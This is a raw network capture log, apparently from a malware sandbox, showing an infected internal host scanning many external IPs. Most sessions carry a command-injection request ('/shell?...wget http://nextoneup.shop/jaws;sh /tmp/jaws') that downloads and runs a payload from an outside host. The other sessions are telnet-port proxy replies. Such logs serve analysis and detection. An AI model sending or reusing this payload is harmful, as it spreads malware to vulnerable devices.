Apr 14, 2024 04:01:30.987237930 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Sun, 14 Apr 2024 02:01:30 GMT Date: Sun, 14 Apr 2024 02:01:30 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 61 39 31 31 36 30 26 23 34 36 3b 31 37 31 33 30 36 30 30 39 30 26 23 34 36 3b 32 66 64 62 32 62 65 37 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 35 61 39 31 31 36 30 26 23 34 36 3b 31 37 31 33 30 36 30 30 39 30 26 23 34 36 3b 32 66 64 62 32 62 65 37 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.5a91160.1713060090.2fdb2be7<P>https://errors.edgesuite.net/9.5a91160.1713060090.2fdb2be7</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1959	192.168.2.13	59892	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:30.657010078 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 33 33 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:33Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1960	192.168.2.13	38026	57.180.150.1	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:30.711318970 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:30.980935097 CEST	384	IN	HTTP/1.1 302 Moved Temporarily Server: awselb/2.0 Date: Sun, 14 Apr 2024 02:01:30 GMT Content-Type: text/html Content-Length: 110 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1961	192.168.2.13	35216	37.27.15.34	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:30.919032097 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:31.282946110 CEST	320	IN	HTTP/1.1 404 Not Found Server: nginx/1.25.3 Date: Sun, 14 Apr 2024 02:01:31 GMT Content-Type: text/html Content-Length: 153 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 35 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.25.3</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1962	192.168.2.13	59934	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:30.953633070 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 33 33 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:33Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1963	192.168.2.13	59938	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:31.001765013 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 33 33 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:33Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1964	192.168.2.13	59960	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:31.344324112 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 33 34 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:34Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1965	192.168.2.13	59970	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:31.641769886 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 33 34 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:34Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1966	192.168.2.13	59972	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:31.672543049 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 33 34 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:34Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1967	192.168.2.13	59980	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:32.017790079 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 33 34 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:34Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1968	192.168.2.13	44506	96.9.2.247	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:32.213638067 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1969	192.168.2.13	39758	44.215.140.132	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:32.227258921 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:32.461611032 CEST	269	IN	HTTP/1.1 301 Moved Permanently Server: Server Date: Sun, 14 Apr 2024 02:01:32 GMT Content-Type: text/html Content-Length: 163 Connection: keep-alive Location: https://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws
Apr 14, 2024 04:01:32.461829901 CEST	175	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>Server</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1970	192.168.2.13	46702	20.48.158.32	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:32.233329058 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:32.474101067 CEST	492	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Sun, 14 Apr 2024 02:01:32 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1971	192.168.2.13	49092	175.243.11.88	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:32.309950113 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:32.716191053 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:33.672282934 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:35.592247963 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:39.432167053 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:47.112174034 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1972	192.168.2.13	45380	20.8.142.206	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:32.310026884 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:32.627892971 CEST	238	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Sun, 14 Apr 2024 02:01:32 GMT Content-Type: application/octet-stream Content-Length: 19 Connection: keep-alive X-INVALIDATE-CACHE: 1 Data Raw: 73 65 72 76 69 63 65 20 75 6e 61 76 61 69 6c 61 62 6c 65 Data Ascii: service unavailable

Session ID	Source IP	Source Port	Destination IP	Destination Port
1973	192.168.2.13	59984	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:32.312988043 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 33 35 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:35Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1974	192.168.2.13	41278	154.220.246.97	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:32.314413071 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:32.636271000 CEST	470	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.14.2 Date: Sun, 14 Apr 2024 02:01:32 GMT Content-Type: text/html Content-Length: 185 Connection: keep-alive Location: http://www.10dollartickets.com/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body bgcolor="white"><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.14.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1975	192.168.2.13	59986	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:32.344476938 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 33 35 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:35Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1976	192.168.2.13	50270	42.63.59.207	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:32.435681105 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:32.857542038 CEST	351	IN	HTTP/1.1 403 Forbidden Server: Byte-nginx Date: Sun, 14 Apr 2024 02:01:32 GMT Content-Type: application/octet-stream Connection: keep-alive Byte-Error-Code: 0060 Content-Length: 24 via: cache02.yccu x-request-ip: 81.181.54.60 x-tt-trace-tag: id=5 x-response-cinfo: 81.181.54.60 x-response-cache: miss Data Raw: 31 32 37 2e 30 2e 30 2e 31 20 63 6f 6e 66 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: 127.0.0.1 conf not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
1977	192.168.2.13	33716	89.117.229.176	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:32.627414942 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:32.948005915 CEST	1289	IN	HTTP/1.1 404 Not Found Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html last-modified: Tue, 09 Jan 2024 17:23:49 GMT etag: "999-659d8125-b4eaaa848bfba336;;;" accept-ranges: bytes content-length: 2457 date: Sun, 14 Apr 2024 02:01:32 GMT server: LiteSpeed platform: hostinger Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 70 72 65 66 69 78 3d 22 63 6f 6e 74 65 6e 74 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 72 73 73 2f 31 2e 30 2f 6d 6f 64 75 6c 65 73 2f 63 6f 6e 74 65 6e 74 2f 20 64 63 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 64 63 2f 74 65 72 6d 73 2f 20 66 6f 61 66 3a 20 68 74 74 70 3a 2f 2f 78 6d 6c 6e 73 2e 63 6f 6d 2f 66 6f 61 66 2f 30 2e 31 2f 20 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 72 64 66 73 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 31 2f 72 64 66 2d 73 63 68 65 6d 61 23 20 73 69 6f 63 3a 20 68 74 74 70 3a 2f 2f 72 64 66 73 2e 6f 72 67 2f 73 69 6f 63 2f 6e 73 23 20 73 69 6f 63 74 3a 20 68 74 74 70 3a 2f 2f 72 64 66 73 2e 6f 72 67 2f 73 69 6f 63 2f 74 79 70 65 73 23 20 73 6b 6f 73 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 34 2f 30 32 2f 73 6b 6f 73 2f 63 6f 72 65 23 20 78 73 64 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 23 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 0a 20 20 20 20 20 20 20 20 5b 6e 67 5c 3a 63 6c 6f 61 6b 5d 2c 0a 20 20 20 20 20 20 20 20 5b 6e 67 2d 63 6c 6f 61 6b 5d 2c 0a 20 20 20 20 20 20 20 20 5b 64 61 74 61 2d 6e 67 2d 63 6c 6f 61 6b 5d 2c 0a 20 20 20 20 20 20 20 20 5b 78 2d 6e 67 2d 63 6c 6f 61 6b 5d 2c 0a 20 20 20 20 20 20 20 20 2e 6e 67 2d 63 6c 6f 61 6b 2c 0a 20 20 20 20 20 20 20 20 2e 78 2d 6e 67 2d 63 6c 6f 61 6b 2c 0a 20 20 20 20 20 20 20 20 2e 6e 67 2d 68 69 64 65 3a 6e 6f 74 28 2e 6e 67 2d 68 69 64 65 2d 61 6e 69 6d 61 74 65 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 6e 67 5c 3a 66 6f 72 6d 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2e 6e 67 2d 61 6e 69 6d 61 74 65 2d 73 68 69 6d 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 6e 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2e 6e 67 2d 61 6e 63 68 6f 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 Data Ascii: 